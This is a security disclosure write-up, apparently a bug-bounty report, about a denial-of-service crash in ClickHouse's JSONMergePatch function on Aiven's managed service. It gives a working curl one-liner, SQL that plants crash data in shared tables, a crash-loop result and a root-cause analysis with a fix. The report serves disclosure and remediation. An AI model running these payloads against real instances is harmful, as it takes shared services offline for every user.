Summary
Aiven’s managed ClickHouse service (Tier 1) is vulnerable to an authenticated denial-of-service attack that crashes the server process (SIGSEGV) via a single SELECT query. Any authenticated user, including users with only SELECT privileges, can execute SELECT JSONMergePatch(...) with two deeply nested JSON documents, causing an unbounded stack recursion in the merge_objects function (jsonMergePatch.cpp:70-91) that exceeds the thread stack size and kills the server process.
The attack requires no special permissions, no configuration changes, and no prior setup, just one HTTP request. Each crash causes 8-23 seconds of downtime while Aiven’s orchestration restarts the ClickHouse process. A scripted attacker re-crashing on recovery achieves 100% effective downtime.
The crash payload can also be stored in MergeTree table columns as persistent data. A user with INSERT privileges can plant poison data in a shared table they didn’t create. Any future user running a query that applies JSONMergePatch to that data crashes the server, the attacker doesn’t need to be present.
Affected Target
- Service: Aiven for ClickHouse (Tier 1)
- Version tested: ClickHouse 25.3.14.1
- Instance:
[REDACTED].<host>:26161
Severity
P1, Critical Impact and/or Easy Difficulty
VRT: Application-Level Denial-of-Service (DoS) > Critical Impact and/or Easy Difficulty
CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H, Score: 7.7 (High)
- AV:N, Network-exploitable over HTTPS
- AC:L, Single query, no race, no preconditions
- PR:L, Any authenticated user, including SELECT-only (demonstrated with a restricted user with zero admin privileges)
- UI:N, No user interaction required
- S:C, Scope changed: attacker’s session crashes the entire managed instance, disconnecting all clients. Stored poison data causes a different user’s innocent query to crash the server (demonstrated:
writerplants data →analystquery crashes server).
Impact summary:
- Single SELECT query crashes the entire managed ClickHouse instance (SIGSEGV)
- Sustained crash loop: 6 crashes in 93 seconds, 100% effective downtime, server never stays up long enough to serve real queries
- Any authenticated user, including SELECT-only users with no admin privileges (demonstrated)
- Repeatable indefinitely
- Crash payload can be stored in shared table columns, a different user querying that data triggers the crash (demonstrated)
- Attacker can hide poison in existing shared tables they have INSERT access to (demonstrated with shared_analytics)
- CREATE VIEW with the payload also crashes during type inference evaluation
Steps to Reproduce
Prerequisites
- An Aiven for ClickHouse instance (any plan)
- Authentication credentials (any user with SELECT privilege)
curl(no other tools needed)
One-line crash
curl -s "https://<user>:<password>@<host>:26161/" \
--data "SELECT JSONMergePatch(concat(repeat('{\"a\":', 25000), '1', repeat('}', 25000)), concat(repeat('{\"a\":', 25000), '2', repeat('}', 25000))) FORMAT Null"
Observe
The connection is immediately reset (server process died). The server is unreachable for 8-23 seconds while Aiven restarts the ClickHouse process. After restart, SELECT uptime() shows a small value confirming the process was restarted.
Crash depth threshold
Depth 1000: OK (no crash)
Depth 5000: OK (no crash)
Depth 10000: OK (no crash)
Depth 20000: OK (no crash)
Depth 25000: *** CRASH (connection lost) ***
Depth 50000: *** CRASH (connection lost) ***
Full Exploit Chain
Chain 1: Direct crash, any user, one request
Single query, immediate server death. Demonstrated with a analyst user that has only SELECT privileges:
curl (as analyst) → SELECT JSONMergePatch(deep_json_1, deep_json_2) → SIGSEGV → server down
Actual output:
$ # Analyst user has SELECT-only privileges:
$ SHOW GRANTS FOR analyst
GRANT SELECT ON default.* TO analyst
$ curl "https://analyst:<password>@<host>:26161/" \
--data "SELECT JSONMergePatch(...) FORMAT Null"
curl: (28) Operation timed out ← server process died
$ # After restart:
$ curl "https://.../" --data "SELECT uptime()"
31 ← server restarted
Chain 2: Persistent poison via table data, attacker inserts, victim crashes
Store the crash payload in a MergeTree table. Any future query applying JSONMergePatch to the stored data crashes the server, even from a different user session.
-- Attacker stores deeply nested JSON
CREATE TABLE config_store (id UInt32, config String) ENGINE = MergeTree ORDER BY id;
INSERT INTO config_store VALUES (1, concat(repeat('{"a":', 25000), '1', repeat('}', 25000)));
-- Data persists in MergeTree (survives restart)
-- A DIFFERENT user (analyst, SELECT-only) queries the data:
SELECT JSONMergePatch(config, config) FROM config_store WHERE id=1;
-- ↑ SIGSEGV - server crashes, triggered by the VICTIM's query, not the attacker
Actual output (cross-user test):
=== Uptime before: 1250 ===
=== Analyst (SELECT-only) reads stored poison ===
curl exit code: 56 (SSL connection reset - server died)
=== After restart ===
Uptime: 8 ← server restarted
Poison data persists: 1 row(s) ← data survived restart
Chain 3: Poison hidden in shared table, attacker has INSERT, victim has SELECT
A user with INSERT access plants poison data in an existing shared table they didn’t create. An innocent analyst running a routine query on that table crashes the server.
-- Shared analytics table (pre-existing, not created by attacker):
-- CREATE TABLE shared_analytics (event_date Date, user_id UInt64,
-- event_type String, metadata String)
-- Writer (INSERT+SELECT only) injects poison into metadata column:
INSERT INTO shared_analytics (user_id, event_type, metadata)
VALUES (999, 'config_update',
concat(repeat('{"a":', 25000), '"deep"', repeat('}', 25000)));
-- Later, analyst (SELECT-only) runs a routine metadata consolidation:
SELECT JSONMergePatch(s1.metadata, s2.metadata)
FROM shared_analytics s1, shared_analytics s2
WHERE s1.event_type = 'config_update' AND s2.event_type = 'config_update';
-- ↑ SIGSEGV - server crashes
Actual output:
=== Writer inserts into shared_analytics (table they didn't create) ===
user_id=999, event_type=config_update, length(metadata)=150006 ← INSERT succeeded
=== Uptime before analyst query: 52 ===
=== Analyst merges metadata rows ===
curl exit code: 56 ← server crashed
The attacker’s data blends in with normal config_update rows. The analyst’s query is a standard JSON merge pattern, nothing suspicious about it.
Chain 4: CREATE VIEW crashes during type inference, DEMONSTRATED
CREATE VIEW innocent_report AS
SELECT JSONMergePatch(concat(repeat('{"a":', 25000), '1', repeat('}', 25000)),
concat(repeat('{"a":', 25000), '2', repeat('}', 25000))) AS result;
-- ↑ SIGSEGV during type inference - server crashes before VIEW is even stored
Chain 5: Sustained crash loop, 100% denial of service
A script that re-crashes the server immediately upon recovery achieves permanent denial of service:
=== TIGHT CRASH LOOP - 6 cycles, 3s polling ===
Start: 01:03:06 UTC
Crash #1: down 8s, recovered 01:03:14 UTC
Crash #2: down 22s, recovered 01:03:36 UTC
Crash #3: down 10s, recovered 01:03:46 UTC
Crash #4: down 21s, recovered 01:04:07 UTC
Crash #5: down 9s, recovered 01:04:16 UTC
Crash #6: down 23s, recovered 01:04:39 UTC
Total time: 93s | Downtime: 93s | Downtime ratio: 100%
The server is available for 0% of the attack duration. All connected clients are disconnected on every crash. All in-flight queries are aborted.
Crash-Triggering Paths (Verified)
| Trigger | Crashes? | Notes |
|---|---|---|
SELECT JSONMergePatch(deep, deep) as admin |
YES | Direct query, one HTTP request |
SELECT JSONMergePatch(deep, deep) as SELECT-only user |
YES | No admin privileges needed |
SELECT JSONMergePatch(config, config) FROM table by different user |
YES | Cross-user stored data trigger |
| Poison in shared table → analyst query | YES | Writer plants, analyst crashes server |
CREATE VIEW ... AS SELECT JSONMergePatch(deep, deep) |
YES | Type inference evaluation |
| Sustained crash loop (6 cycles) | 100% downtime | Server never available during attack |
| Depth 25,000 | YES | Minimum crash threshold |
| Depth 20,000 | No | Below stack limit |
Root Cause Analysis
File: src/Functions/jsonMergePatch.cpp, lines 70-91
The merge_objects recursive lambda performs recursive descent on two JSON document trees to merge them:
auto merge_objects = [&](auto && self, auto && lhs, const auto & rhs) -> void
{
for (auto it = rhs.MemberBegin(); it != rhs.MemberEnd(); ++it)
{
auto lhs_it = lhs.FindMember(it->name);
if (lhs_it != lhs.MemberEnd())
{
if (lhs_it->value.IsObject() && it->value.IsObject())
self(self, lhs_it->value, it->value); // ← UNBOUNDED RECURSION
// ...
}
// ...
}
};
The bug:
1. RapidJSON is configured with kParseIterativeFlag (line 14), so it parses arbitrarily deep JSON documents iteratively without stack overflow, the parsing is safe.
2. However, the subsequent merge_objects call recurses to the full depth of the documents with no depth limit and no checkStackSize() call.
3. At depth 25,000+, the recursive call stack (~200 bytes per frame) exceeds the thread stack size (~8MB), causing SIGSEGV.
Why ClickHouse’s existing protections don’t apply:
- max_parser_depth (default 1000) limits the SQL parser, not JSON parsing
- checkStackSize() is used throughout the query pipeline but was never added to merge_objects
- RapidJSON’s iterative parser correctly handles deep documents, but the merge function does not
- No setting exists to limit JSON document depth for this function
Evidence of Repeated Crashes
| Crash # | Trigger | User | Uptime After |
|---|---|---|---|
| 1 | SELECT depth 50,000 |
avnadmin | 19s |
| 2 | SELECT depth 25,000 |
avnadmin | 29s |
| 3 | CREATE VIEW |
avnadmin | 28s |
| 4 | SELECT from stored table data |
avnadmin | 148s |
| 5 | SELECT from stored data |
analyst (SELECT-only) | 8s |
| 6 | Cross-join on shared_analytics | analyst (SELECT-only) | - (server down) |
| 7-12 | Sustained crash loop (6 cycles) | avnadmin | 1s, 2s, 8s, 1s,, - |
Impact
- Availability: 100% sustained downtime achievable. Scripted attacker re-crashes on recovery, server never serves real queries during attack.
- Privilege level: Any authenticated user with SELECT privileges can crash the server. No admin access needed (demonstrated with restricted
analystuser). - Persistence: Crash payload stored in MergeTree tables survives restarts. Future queries on the data trigger the crash without the attacker being present.
- Stealth: Attacker with INSERT access can hide poison data in existing shared tables (demonstrated with
shared_analytics). The triggering query is an innocent-looking metadata merge, no auditing would flag it as malicious. - Scope change: The victim of the crash is not the attacker. A
writerinserts data; ananalystrunning a routine report crashes the server for all users. - Blast radius: All users of the managed instance are affected. All connected clients disconnected. All in-flight queries aborted.
- Ease: One HTTP request. No tools beyond
curl. No special permissions.
Recommended Fix
-
Immediate: Add a depth counter to
merge_objectsinjsonMergePatch.cppand throw an exception when depth exceeds a reasonable limit (e.g., 1000). Alternatively, addcheckStackSize()inside the recursive lambda. -
Defense in depth: Consider adding a server-wide setting for maximum JSON document nesting depth in functions that process JSON recursively.
Proof of concept
Single-shell repro: aiven/poc/clickhouse-crash.sh
HOST="<your-instance>.<host>:26161"
USER="<select-only-user>"
PASS="<password>"
./aiven/poc/clickhouse-crash.sh "$HOST" "$USER" "$PASS"
The script issues one SELECT JSONMergePatch(...) with two deeply nested
JSON arguments. The server SIGSEGVs; orchestration brings it back in 8-23
seconds. Loop the script and the instance never stays up long enough to
serve real queries.
Source · github.com/zionsworking/security-research-notebook · writeups/aiven-clickhouse-jsonmergepatch-stack-overflow.md